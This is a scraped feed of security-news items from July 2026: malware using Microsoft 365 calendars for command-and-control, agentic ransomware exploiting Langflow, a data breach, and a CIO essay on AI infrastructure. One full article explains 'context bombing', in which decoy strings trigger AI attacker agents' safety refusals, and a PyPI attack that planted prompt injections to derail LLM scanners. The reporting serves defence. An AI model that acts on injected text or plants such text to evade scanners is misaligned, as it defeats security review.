<p>The post <a href="https://www.itsecuritynews.info/new-project-cav3rn-module-abuses-outlook-calendar-events-for-c2-and-dns-aaaa-records-for-configuration-recovery/">New Project CAV3RN module abuses Outlook calendar events for C2 and DNS AAAA records for configuration recovery</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[The next AI bottleneck is not the model. It’s the infrastructure behind it]]></title>
<description><![CDATA[Every enterprise AI conversation seems to begin with the same question: Which model should we use?



I understand why. Models are visible. They have names, benchmarks, release notes, pricing pages and impressive demos. They are easy to compare in a leadership meeting. One model promises better r...]]></description>
<link>https://tsecurity.de/de/3683109/it-nachrichten/the-next-ai-bottleneck-is-not-the-model-its-the-infrastructure-behind-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683109/it-nachrichten/the-next-ai-bottleneck-is-not-the-model-its-the-infrastructure-behind-it/</guid>
<pubDate>Tue, 21 Jul 2026 11:03:50 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Every enterprise AI conversation seems to begin with the same question: Which model should we use?</p>



<p class="wp-block-paragraph">I understand why. Models are visible. They have names, benchmarks, release notes, pricing pages and impressive demos. They are easy to compare in a leadership meeting. One model promises better reasoning. Another offers a larger context window. Another appears faster, cheaper or more specialized.</p>



<p class="wp-block-paragraph">But after years of working around enterprise platforms, integration layers, cloud migration, middleware, production operations and mission-critical systems, I see the AI conversation differently.</p>



<p class="wp-block-paragraph">The model matters. But it is not where most enterprises will struggle next.</p>



<p class="wp-block-paragraph">The next AI bottleneck is the infrastructure behind the model.</p>



<p class="wp-block-paragraph">I do not mean only GPUs, cloud capacity or data storage. I mean the full enterprise operating layer that allows AI to work safely in the real world: data pipelines, identity, APIs, messaging, observability, security controls, deployment automation, cost governance, auditability, support ownership and recovery design.</p>



<p class="wp-block-paragraph">That layer is what determines whether AI remains an exciting experiment or becomes a trusted business capability.</p>



<h2 class="wp-block-heading">Pilots hide the hard part</h2>



<p class="wp-block-paragraph">Most organizations can build an <a href="https://www.cio.com/article/4159287/most-companies-are-stuck-on-ai-chat.html">impressive AI pilot</a>. A small team can connect a model to a dataset, create a workflow and show a use case that works well in a controlled setting.</p>



<p class="wp-block-paragraph">The harder part starts when that pilot moves into a <a href="https://www.cio.com/article/4161509/ai-hype-to-ai-value-escaping-the-activity-trap.html">real production process</a>.</p>



<p class="wp-block-paragraph">That is when practical questions show up. Who owns the data quality? What systems can the AI access? How do we trace which prompt, policy or retrieval flow produced a specific answer? What happens when an API slows down, a queue backs up or a downstream system is unavailable?</p>



<p class="wp-block-paragraph">To me, these are not model problems. They are infrastructure problems.</p>



<p class="wp-block-paragraph">This is where many enterprises are now headed. The first phase of AI was experimentation. The next phase is operationalization, and that is where the real gap becomes clear.</p>



<p class="wp-block-paragraph"><a href="https://www.mckinsey.com/capabilities/quantumblack/our-insights/seizing-the-agentic-ai-advantage">McKinsey</a> has made a similar point in its work on agentic AI, noting that the next phase of value depends less on isolated tools and more on redesigning workflows, operating models and enterprise execution around agents.</p>



<p class="wp-block-paragraph">AI pilots can survive on enthusiasm. Production AI requires architecture.</p>



<h2 class="wp-block-heading">AI is becoming an integration problem</h2>



<p class="wp-block-paragraph">The more I look at enterprise AI, the more it feels like an integration challenge.</p>



<p class="wp-block-paragraph">In large organizations, I have seen how messaging platforms, integration gateways, deployment pipelines, monitoring tools and cloud infrastructure can decide whether a digital capability succeeds or fails. AI will be no different. Even the strongest model will struggle if the data, middleware, identity layer and operational controls around it are weak.</p>



<p class="wp-block-paragraph">AI does not work in isolation. It needs context from systems of record, clean data from different business areas, secure access to APIs, event streams, workflows, knowledge repositories, monitoring tools and legacy systems.</p>



<p class="wp-block-paragraph">That is why the CIO question is changing.</p>



<p class="wp-block-paragraph">It is no longer just, “Which AI tool should we buy?”</p>



<p class="wp-block-paragraph">It is becoming, “Can we safely operationalize intelligence across the business?”</p>



<p class="wp-block-paragraph">This is where agentic AI matters. Autonomous AI only creates real value when the architecture around it can make its actions safe, traceable and useful.</p>



<p class="wp-block-paragraph">A model can generate an answer. Infrastructure determines whether that answer is secure, timely, explainable, governed and connected to the right workflow.</p>



<p class="wp-block-paragraph">For example, an AI assistant that summarizes customer or order information may look like a model use case. But underneath, it depends on access control, fresh data, reliable APIs, logging, encryption, monitoring and policy enforcement.</p>



<p class="wp-block-paragraph">If the answer is wrong, people may blame the model. But the real failure may have started with stale data, weak integration, poor access design, missing observability or an unreliable downstream system.</p>



<p class="wp-block-paragraph">That is why CIOs should not judge AI only by model capability. The enterprise system around the model matters just as much.</p>



<h2 class="wp-block-heading">Latency will become a trust issue</h2>



<p class="wp-block-paragraph">In traditional technology operations, latency is often treated as a performance metric. In AI-enabled workflows, latency becomes a trust issue.</p>



<p class="wp-block-paragraph">When an employee asks an AI assistant for help and the response takes too long, the employee stops using it. When a customer-facing workflow becomes slow, the customer abandons it. When an AI agent waits on multiple backend calls, the entire business process feels unreliable.</p>



<p class="wp-block-paragraph">This becomes even more important as organizations move from simple chat interfaces to agentic workflows. A single AI-driven action may include identity checks, context retrieval, policy validation, model reasoning, API calls, business-rule execution, logging and human approval.</p>



<p class="wp-block-paragraph">Each step adds latency. Each dependency adds a possible failure point.</p>



<p class="wp-block-paragraph">A model may be fast in a benchmark but slow inside an enterprise process. That difference matters.</p>



<p class="wp-block-paragraph">This is where platform engineering becomes essential. Enterprises need reusable patterns for AI workloads: approved connectors, secure retrieval methods, queue-based decoupling, caching strategies, deployment pipelines, monitoring dashboards and standard rollback procedures.</p>



<p class="wp-block-paragraph">Without those patterns, every AI initiative becomes a custom build. Custom builds may work for pilots, but they do not scale across a large enterprise.</p>



<h2 class="wp-block-heading">Observability has to expand</h2>



<p class="wp-block-paragraph">Traditional monitoring tells us whether infrastructure is healthy. Is the server up? Is CPU high? Is memory exhausted? Is the application returning errors?</p>



<p class="wp-block-paragraph">AI needs that, but it also needs more.</p>



<p class="wp-block-paragraph">We need to know what data was retrieved, which model was used, which prompt version was active, which user initiated the request, which policy was applied, how long each step took and whether the output passed validation.</p>



<p class="wp-block-paragraph">We also need to detect new forms of risk: unusual usage patterns, repeated failed tool calls, unexpected cost spikes, sensitive data exposure, weak retrieval results or an AI workflow attempting actions outside its intended boundary.</p>



<p class="wp-block-paragraph">In production AI, observability is not only about uptime. It is about confidence.</p>



<p class="wp-block-paragraph">If a business leader, auditor, regulator or security team asks why an AI system made a recommendation, the answer cannot be, “The model said so.” The enterprise needs traceability. It needs evidence. It needs operational context that engineers, risk teams and business owners can understand.</p>



<p class="wp-block-paragraph">This is one of the biggest gaps I see in AI strategy. Many organizations are investing in models and use cases, but not enough in the control plane required to manage them.</p>



<h2 class="wp-block-heading">Data readiness is still underestimated</h2>



<p class="wp-block-paragraph">AI has exposed an uncomfortable truth: many enterprises are not as data ready as they think.</p>



<p class="wp-block-paragraph">Data is often duplicated across platforms, described differently by each team, governed inconsistently and refreshed on different schedules. Access rules may be clear in one system but unclear in another. Even basic business definitions can change from department to department.</p>



<p class="wp-block-paragraph">AI does not fix that automatically. In many cases, it makes the problem more visible.</p>



<p class="wp-block-paragraph">A bad report may be questioned. A bad AI answer may sound confident enough to be trusted.</p>



<p class="wp-block-paragraph">That is a real risk.</p>



<p class="wp-block-paragraph">Being data-ready for AI is not just about connecting a vector database or indexing documents. It requires clear ownership, lineage, classification, quality checks, retention rules, access boundaries and a shared understanding of which data should be used for which purpose.</p>



<p class="wp-block-paragraph">The same principle applies to resilient cloud-native design. In my IEEE TechRxiv paper, “<a href="https://www.techrxiv.org/doi/full/10.36227/techrxiv.175433366.65304469/v1">Enabling Fault-Tolerant Multicast in Cloud-Native Architectures</a>” I explored how reliability, observability and fault tolerance become foundational requirements when critical workloads stretch across hybrid and multi-cloud environments.</p>



<p class="wp-block-paragraph">CIOs already understand this because they have lived through enterprise resource planning programs, cloud migration, integration modernization, cybersecurity transformation and analytics initiatives. The lesson is familiar: technology cannot outrun data discipline forever.</p>



<h2 class="wp-block-heading">Security cannot be added later</h2>



<p class="wp-block-paragraph">As AI moves from answering questions to acting, security becomes much more important.</p>



<p class="wp-block-paragraph">An assistant that summarizes information carries one level of risk. An agent that can open a ticket, update a record, trigger a workflow, approve a request or contact a customer carries a very different one.</p>



<p class="wp-block-paragraph">The more AI can do, the more identity, authorization, least privilege, separation of duties and human approval matter.</p>



<p class="wp-block-paragraph">Enterprises should be careful not to grant AI broad access just to speed up a pilot. That may seem harmless in development, but it can become dangerous at scale.</p>



<p class="wp-block-paragraph">AI access should be treated like any other privileged enterprise capability: limited, logged, reviewed and easy to revoke.</p>



<p class="wp-block-paragraph">The <a href="https://www.nist.gov/itl/ai-risk-management-framework">NIST</a> AI Risk Management Framework is a useful reference point here because it frames AI risk as something organizations must govern, map, measure and manage continuously rather than something handled only at the end of deployment.</p>



<p class="wp-block-paragraph">Security teams should be involved early, not at the end. The goal is not to slow innovation. The goal is to build a platform where safe innovation becomes repeatable.</p>



<h2 class="wp-block-heading">The CIO has to define the operating model</h2>



<p class="wp-block-paragraph">AI is creating pressure from every direction. Boards want productivity. Business teams want automation. Employees want better tools. Vendors are pushing new features. Security teams are watching risk. Finance teams are watching cost. Customers expect faster, smarter experiences.</p>



<p class="wp-block-paragraph">The CIO sits in the middle of all of it.</p>



<p class="wp-block-paragraph">That is why the CIO’s role cannot stop at choosing tools or approving pilots. The CIO has to define how AI will actually operate across the enterprise.</p>



<p class="wp-block-paragraph">That means answering practical questions. Which architecture is approved? Which data sources can be trusted? How are AI workflows deployed, monitored, supported and governed? How are costs controlled? How do teams reuse common patterns instead of rebuilding the same foundation each time?</p>



<p class="wp-block-paragraph">This work may not be as exciting as a model demo, but it is what separates sustainable AI from short-term experimentation.</p>



<p class="wp-block-paragraph">The winning organizations will not be the ones with the most pilots. They will be the ones with the strongest AI operating layer.</p>



<p class="wp-block-paragraph">They will build reusable platform patterns, strengthen data governance, design access properly, monitor AI behavior end to end and measure success by business improvement, not only model performance.</p>



<p class="wp-block-paragraph">The model still matters. But the enterprise behind the model matters more.</p>



<p class="wp-block-paragraph">A powerful model on weak infrastructure will eventually disappoint the business. A capable model on strong infrastructure can deliver real value because it can be trusted, secured, scaled and improved.</p>



<p class="wp-block-paragraph">That is the shift CIOs need to lead.</p>



<p class="wp-block-paragraph">The next AI bottleneck is not the model. It is whether the enterprise behind the model is ready.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[5 Open-Source-Datenbanken im Vergleich]]></title>
<description><![CDATA[Open-Source Datenbanken sind eine deutlich günstigere und häufig sehr zuverlässige Alternative zu den bekannten kommerziellen Anbietern. Selbst große Konzerne vertrauen daher mittlerweile auf die freien Optionen. Aber welches System ist für welchen Zweck geeignet? Wir machen den Vergleich einiger...]]></description>
<link>https://tsecurity.de/de/3683103/server/5-open-source-datenbanken-im-vergleich/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683103/server/5-open-source-datenbanken-im-vergleich/</guid>
<pubDate>Tue, 21 Jul 2026 11:00:58 +0200</pubDate>
<category>🐧 Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img src="https://www.ionos.de/digitalguide/fileadmin/DigitalGuide/Teaser/database-t.jpg" width="1200" height="630" alt=""><br>Open-Source Datenbanken sind eine deutlich günstigere und häufig sehr zuverlässige Alternative zu den bekannten kommerziellen Anbietern. Selbst große Konzerne vertrauen daher mittlerweile auf die freien Optionen. Aber welches System ist für welchen Zweck geeignet? Wir machen den Vergleich einiger beliebter Datenbanken.]]></content:encoded>
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<title><![CDATA[New Project CAV3RN module abuses Outlook calendar events for C2 and DNS AAAA records for configuration recovery]]></title>
<description><![CDATA[Kaspersky GReAT experts describe a new Project CAV3RN C2 module. It uses Outlook calendar for communication via Microsoft Graph and has a backup connection via DNS AAAA responses.]]></description>
<link>https://tsecurity.de/de/3683075/it-security-nachrichten/new-project-cav3rn-module-abuses-outlook-calendar-events-for-c2-and-dns-aaaa-records-for-configuration-recovery/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683075/it-security-nachrichten/new-project-cav3rn-module-abuses-outlook-calendar-events-for-c2-and-dns-aaaa-records-for-configuration-recovery/</guid>
<pubDate>Tue, 21 Jul 2026 10:54:37 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Kaspersky GReAT experts describe a new Project CAV3RN C2 module. It uses Outlook calendar for communication via Microsoft Graph and has a backup connection via DNS AAAA responses.]]></content:encoded>
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<title><![CDATA[Agentic Hacker Exploits Langflow RCE to Encrypt AI and Machine-Learning Infrastructure]]></title>
<description><![CDATA[JADEPUFFER, an agentic ransomware operation, has evolved from database extortion into a targeted campaign against AI and machine-learning infrastructure. The operator exploited the Langflow remote code execution flaw tracked as CVE-2025-3248 and deployed a purpose-built ransomware tool called ENC...]]></description>
<link>https://tsecurity.de/de/3683037/it-security-nachrichten/agentic-hacker-exploits-langflow-rce-to-encrypt-ai-and-machine-learning-infrastructure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683037/it-security-nachrichten/agentic-hacker-exploits-langflow-rce-to-encrypt-ai-and-machine-learning-infrastructure/</guid>
<pubDate>Tue, 21 Jul 2026 10:38:18 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>JADEPUFFER, an agentic ransomware operation, has evolved from database extortion into a targeted campaign against AI and machine-learning infrastructure. The operator exploited the Langflow remote code execution flaw tracked as CVE-2025-3248 and deployed a purpose-built ransomware tool called ENCFORGE to encrypt model checkpoints, vector databases, training data, and AI deployment artifacts. CVE-2025-3248 is a missing-authentication […]</p>
<p>The post <a href="https://cyberpress.org/agentic-hacker-encrypts-ai-infrastructure/">Agentic Hacker Exploits Langflow RCE to Encrypt AI and Machine-Learning Infrastructure</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Context bombing heralds a new AI era of deceptive defense]]></title>
<description><![CDATA[Attackers are increasingly using AI agents to automate all phases of cyberattacks, prompting the security industry and enterprises to find new network defense approaches. One technique that shows promise is to intentionally plant decoy files with prompts that trigger the content safety guardrails...]]></description>
<link>https://tsecurity.de/de/3682887/it-security-nachrichten/context-bombing-heralds-a-new-ai-era-of-deceptive-defense/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682887/it-security-nachrichten/context-bombing-heralds-a-new-ai-era-of-deceptive-defense/</guid>
<pubDate>Tue, 21 Jul 2026 09:07:59 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Attackers are increasingly <a href="https://www.csoonline.com/article/4196409/ai-powered-breaches-provide-wake-up-call-for-incident-response.html">using AI agents to automate all phases of cyberattacks</a>, prompting the security industry and enterprises to find new network defense approaches. One technique that shows promise is to intentionally plant decoy files with prompts that trigger the content safety guardrails built into LLMs with the goal of crashing rogue agentic workflows.</p>



<p class="wp-block-paragraph">Using decoy resources as tripwires that alert defenders about potential unauthorized access is not a new idea in cybersecurity. These are known as canaries — after the canary in the coal mine early warning system — and can be fake documents, AWS access keys, database dumps, DNS records, and even URLs that would not be queried by legitimate processes, but would be attractive targets for attackers.</p>



<p class="wp-block-paragraph">What’s new in <a href="https://agentic.tracebit.com/context-bombs/">the approach devised and tested by security firm Tracebit</a> is to use these decoy resources not merely to trigger alerts, but to actually stop AI agents, buying defenders more time. Dubbed “context bombing,” the technique takes advantage of the fact that LLMs are inherently vulnerable to prompt injection — acting on instructions they might encounter inside the data they process.</p>



<p class="wp-block-paragraph">Enterprises that build their own AI agents have to worry about <a href="https://www.csoonline.com/article/4110008/top-cyber-threats-to-your-ai-systems-and-infrastructure.html">malicious prompts</a> placed by attackers on web pages, emails, documents, code comments, and in other third-party resources those agents might access. With no defenses in place, companies risk their own agents being hijacked and used against them to perform unauthorized actions. But the malicious AI agents used by attackers have the same vulnerability.</p>



<p class="wp-block-paragraph">“We call the defensive version a context bomb: a short piece of text designed to trigger a model’s safety guardrails, planted directly in the attacker’s path — a decoy secret, environment variable, or DNS record,” Sam Cox, Tracebit’s CTO, said in <a href="https://tracebit.com/blog/context-bombs-stopping-ai-attackers-in-their-tracks">a blog post</a>. “An AI agent that reads it will frequently refuse to continue. You still get the alert; and the attack now halts early instead of merely being detected.”</p>



<h2 class="wp-block-heading">Context bombing triggers massive drop in attack success rate</h2>



<p class="wp-block-paragraph">Tracebit’s tests performed in an AWS test environment cut the success rate normally achieved by AI models across multiple attacks paths by up to 90% by simply adding instructions that would trigger their content safety guardrails. LLMs are trained to refuse answering questions about creating biological, chemical, or nuclear weapons, or, in the case of Chinese open-weight models, <a href="https://www.cio.com/article/3851848/ai-culture-war-hidden-bias-in-training-models-may-push-political-propaganda.html">sensitive political topics</a> such as the Tiananmen Square massacre.</p>



<p class="wp-block-paragraph">Furthermore, once one of these banned instructions make it into the context window, the whole session is <a href="https://www.csoonline.com/article/4166171/poisoned-truth-the-quiet-security-threat-inside-enterprise-ai.html">poisoned</a>, and the model will often refuse to continue without manual intervention. The researchers ran many tests to find short strings that would trigger model safety guardrails reliably, but it’s worth noting that the identified strings were different between the tested models: Claude Opus 4.8, Gemini 3.1 Pro, GLM 5.2, DeepSeek V4 Pro, and Kimi K2.6.</p>



<p class="wp-block-paragraph">During baseline tests the AI agents managed on average to obtain full account admin in 54% of the 154 attack runs and full compromise (admin + persistence) in 36% of tests. With the context bombs in place, their success rate dropped to 5% for admin access and 1% for full compromise. Also, in 91% of baseline attack runs, the agents managed to complete at least one of ten possible attacks paths, but their average success rate dropped to 15% with the context bombs.</p>



<p class="wp-block-paragraph">The models from Western AI labs — Opus and Gemini — proved the most capable at reaching full admin access, with 93% and 70% success rates, but were also the most impacted by the context bombs with both their success rates dropping to 0%. This shows that the content safety guardrails are much stronger in these models compared to the Chinese ones that were tested.</p>



<h2 class="wp-block-heading">Attackers experimented with safety refusals first</h2>



<p class="wp-block-paragraph">The Tracebit researchers had already been experimenting with AI canaries for alert purposes. <a href="https://agentic.tracebit.com/context-bombs/">A paper published in May</a> showed that canaries alerted defenders in 95.9% of 162 successful attack runs performed with AI agents using 10 different AI models. The alerts were triggered 8 minutes before the agents performed critical actions, while the runs required 14 minutes on average to reach admin access.</p>



<p class="wp-block-paragraph">During those tests the researchers observed that if they instructed the models that the network might include deception, their success rate for full admin access and persistence dropped from 20% to 3% on average.</p>



<p class="wp-block-paragraph">Then in June, researchers from security firm Socket.dev came across a software supply chain attack involving malicious PyPI wheels that contained prompt injections with content designed to trigger safety guardrails inside AI models. The malicious prompts were included in code comments at the start of the files and the purpose was likely to evade detection from LLM-powered security scanners.</p>



<p class="wp-block-paragraph">“This header appears designed for AI-mediated analysis, not for Node, Bun, or Python,” the Socket.dev researchers <a href="https://socket.dev/blog/mini-shai-hulud-miasma-and-hades-worms-target-bioinformatics-and-mcp-developers-via-malicious">said at the time</a>. “It attempts to derail scanners or analyst copilots that feed the beginning of a file to a language model without clearly isolating the content as untrusted data. In weak pipelines, this can cause refusal behavior, prompt confusion, context pollution, or premature classification before the scanner reaches the actual malware.”</p>



<p class="wp-block-paragraph">The Tracebit researchers then had the idea to flip the script and trigger such safety refusals through their canary technique against malicious AI agents. So not only does the agent run stop, but an alert is also triggered because the canary was accessed.</p>



<p class="wp-block-paragraph">There is a risk that the canaries could also be discovered and accessed accidentally by legitimate LLM-powered tools used by engineering or security teams. But at the same time this means organizations could potentially deploy such canaries in sensitive places to stop their own AI agents that might become hijacked or go off the rails on their own.</p>



<p class="wp-block-paragraph">There are many reports online where AI models performed destructive or unauthorized actions like deleting databases and folders or elevating their privileges because they got struck in failure loops and explored creative ways to complete their tasks. This is even more common with autonomous AI agents that are tasked to reach a goal without human intervention or supervision.</p>



<p class="wp-block-paragraph">“The speed of autonomous AI attacks is why deception is climbing the priority list for security programs,” Tracebit’s Cox said. “When the attack chain takes minutes rather than days, every minute of response time you can claw back matters — and a control that stops the attacker outright, rather than just reporting them, changes the economics significantly.”</p>
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<title><![CDATA[Paidwork Data Breach Exposes 23.3 Million Accounts, Banking Data and bcrypt Password Hashes]]></title>
<description><![CDATA[Gig-economy platform Paidwork has been linked to a significant data breach that affects 23.3 million accounts. This breach, involving an approximately 11GB dataset, was publicly released in July 2026. The incident was added to the Have I Been Pwned (HIBP) breach database on July 19, with the comp...]]></description>
<link>https://tsecurity.de/de/3682753/it-security-nachrichten/paidwork-data-breach-exposes-233-million-accounts-banking-data-and-bcrypt-password-hashes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682753/it-security-nachrichten/paidwork-data-breach-exposes-233-million-accounts-banking-data-and-bcrypt-password-hashes/</guid>
<pubDate>Tue, 21 Jul 2026 07:37:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Gig-economy platform Paidwork has been linked to a significant data breach that affects 23.3 million accounts. This breach, involving an approximately 11GB dataset, was publicly released in July 2026. The incident was added to the Have I Been Pwned (HIBP) breach database on July 19, with the compromise reportedly occurring in March 2026. Paidwork Data […]</p>
<p>The post <a href="https://gbhackers.com/paidwork-data-breach-exposes-23-3-million-accounts/">Paidwork Data Breach Exposes 23.3 Million Accounts, Banking Data and bcrypt Password Hashes</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
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<title><![CDATA[HOLLOWGRAPH Malware Turns Microsoft 365 Calendar Events Into Covert Command-and-Control Channels]]></title>
<description><![CDATA[HOLLOWGRAPH, a Windows malware implant that transforms Microsoft 365 calendar events into a covert command-and-control channel. This malware, which is highly likely linked to the Cavern modular backdoor framework, utilizes the Microsoft Graph API to retrieve tasks from operators and…
Read more →
...]]></description>
<link>https://tsecurity.de/de/3682749/it-security-nachrichten/hollowgraph-malware-turns-microsoft-365-calendar-events-into-covert-command-and-control-channels/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682749/it-security-nachrichten/hollowgraph-malware-turns-microsoft-365-calendar-events-into-covert-command-and-control-channels/</guid>
<pubDate>Tue, 21 Jul 2026 07:37:30 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>HOLLOWGRAPH, a Windows malware implant that transforms Microsoft 365 calendar events into a covert command-and-control channel. This malware, which is highly likely linked to the Cavern modular backdoor framework, utilizes the Microsoft Graph API to retrieve tasks from operators and…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/hollowgraph-malware-turns-microsoft-365-calendar-events-into-covert-command-and-control-channels/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/hollowgraph-malware-turns-microsoft-365-calendar-events-into-covert-command-and-control-channels/">HOLLOWGRAPH Malware Turns Microsoft 365 Calendar Events Into Covert Command-and-Control Channels</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Where a CBOM solution actually sits: fitting cryptographic inventory into your architecture ]]></title>
<description><![CDATA[Most teams meet the idea of a cryptographic bill of materials (CBOM) as a compliance requirement or a post-quantum talking point, and then run straight into a practical question that nobody answered for them: where does this thing go? Is it a scanner? An agent on every box? A database? Something ...]]></description>
<link>https://tsecurity.de/de/3682729/it-security-nachrichten/where-a-cbom-solution-actuallysitsfitting-cryptographic-inventory-into-your-architecture/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682729/it-security-nachrichten/where-a-cbom-solution-actuallysitsfitting-cryptographic-inventory-into-your-architecture/</guid>
<pubDate>Tue, 21 Jul 2026 07:24:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Most teams meet the idea of a cryptographic bill of materials (CBOM) as a compliance requirement or a post-quantum talking point, and then run straight into a practical question that nobody answered for them: where does this thing go? Is it a scanner? An agent on every box? A database? Something that replaces the CMDB, […]</p>
<p>The post <a href="https://cybersecuritynews.com/where-a-cbom-solution-sits-cryptographic-inventory-architecture/">Where a CBOM solution actually sits: fitting cryptographic inventory into your architecture </a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Hackers Use Microsoft 365 Calendar Events as Dead Drops for Malware Commands]]></title>
<description><![CDATA[A newly identified Windows malware sample, dubbed HOLLOWGRAPH, is abusing the Microsoft Graph API to turn a compromised Microsoft 365 calendar into a covert two-way command-and-control channel. Group-IB attributes the malware, with high confidence, to the Iranian-linked Cavern backdoor framework,...]]></description>
<link>https://tsecurity.de/de/3682721/it-security-nachrichten/hackers-use-microsoft-365-calendar-events-as-dead-drops-for-malware-commands/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682721/it-security-nachrichten/hackers-use-microsoft-365-calendar-events-as-dead-drops-for-malware-commands/</guid>
<pubDate>Tue, 21 Jul 2026 07:24:31 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A newly identified Windows malware sample, dubbed HOLLOWGRAPH, is abusing the Microsoft Graph API to turn a compromised Microsoft 365 calendar into a covert two-way command-and-control channel. Group-IB attributes the malware, with high confidence, to the Iranian-linked Cavern backdoor framework, and says it communicates through a compromised Microsoft 365 account in Israel, blending its traffic […]</p>
<p>The post <a href="https://cyberpress.org/hackers-use-microsoft-365-calendar-events/">Hackers Use Microsoft 365 Calendar Events as Dead Drops for Malware Commands</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[HOLLOWGRAPH Malware Turns Microsoft 365 Calendar Events Into Covert Command-and-Control Channels]]></title>
<description><![CDATA[HOLLOWGRAPH, a Windows malware implant that transforms Microsoft 365 calendar events into a covert command-and-control channel. This malware, which is highly likely linked to the Cavern modular backdoor framework, utilizes the Microsoft Graph API to retrieve tasks from operators and to exfiltrate...]]></description>
<link>https://tsecurity.de/de/3682717/it-security-nachrichten/hollowgraph-malware-turns-microsoft-365-calendar-events-into-covert-command-and-control-channels/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682717/it-security-nachrichten/hollowgraph-malware-turns-microsoft-365-calendar-events-into-covert-command-and-control-channels/</guid>
<pubDate>Tue, 21 Jul 2026 07:24:21 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>HOLLOWGRAPH, a Windows malware implant that transforms Microsoft 365 calendar events into a covert command-and-control channel. This malware, which is highly likely linked to the Cavern modular backdoor framework, utilizes the Microsoft Graph API to retrieve tasks from operators and to exfiltrate stolen data via a compromised Microsoft 365 mailbox. This technique enables malicious communications […]</p>
<p>The post <a href="https://gbhackers.com/hollowgraph-malware-turns-microsoft-365-calendar-events/">HOLLOWGRAPH Malware Turns Microsoft 365 Calendar Events Into Covert Command-and-Control Channels</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
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<title><![CDATA[HollowGraph tarnt Kommando und Datenabfluss in Microsoft-365-Kalendern]]></title>
<description><![CDATA[LONDON (IT BOLTWISE) – Eine neu entdeckte Spionage-Implant-Variante nutzt Microsoft 365 Kalender als verschleierten Kommando- und Datenkanal. Das Vorgehen läuft über legitimen Microsoft Graph API-Traffic und hinterlässt daher bei vielen Baseline-Analysen kaum auffällige Muster. Zusätzlich aktuali...]]></description>
<link>https://tsecurity.de/de/3682586/it-security-nachrichten/hollowgraph-tarnt-kommando-und-datenabfluss-in-microsoft-365-kalendern/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682586/it-security-nachrichten/hollowgraph-tarnt-kommando-und-datenabfluss-in-microsoft-365-kalendern/</guid>
<pubDate>Tue, 21 Jul 2026 05:08:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-hollowgraph-m365-calendar-dead-drop.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-hollowgraph-m365-calendar-dead-drop.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-hollowgraph-m365-calendar-dead-drop-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-hollowgraph-m365-calendar-dead-drop-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-hollowgraph-m365-calendar-dead-drop-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-hollowgraph-m365-calendar-dead-drop-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-hollowgraph-m365-calendar-dead-drop-120x120.jpg 120w" sizes="(max-width: 1024px) 100vw, 1024px">LONDON (IT BOLTWISE) – Eine neu entdeckte Spionage-Implant-Variante nutzt Microsoft 365 Kalender als verschleierten Kommando- und Datenkanal. Das Vorgehen läuft über legitimen Microsoft Graph API-Traffic und hinterlässt daher bei vielen Baseline-Analysen kaum auffällige Muster. Zusätzlich aktualisiert die Malware über DNS Entra-ID-Zugangsdaten, um die 